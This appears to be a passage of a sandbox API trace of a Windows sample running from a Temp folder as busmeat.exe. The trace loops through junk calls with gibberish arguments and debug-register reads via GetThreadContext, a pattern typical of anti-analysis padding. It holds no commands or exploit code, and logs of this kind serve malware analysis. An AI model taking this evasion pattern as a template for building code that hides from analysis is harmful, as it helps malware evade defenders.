	[0066.219] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.219] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.220] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.220] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.220] GetConsoleCP () returned 0x0
	[0066.220] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.220] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.220] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.220] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.220] GetConsoleCP () returned 0x0
	[0066.220] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 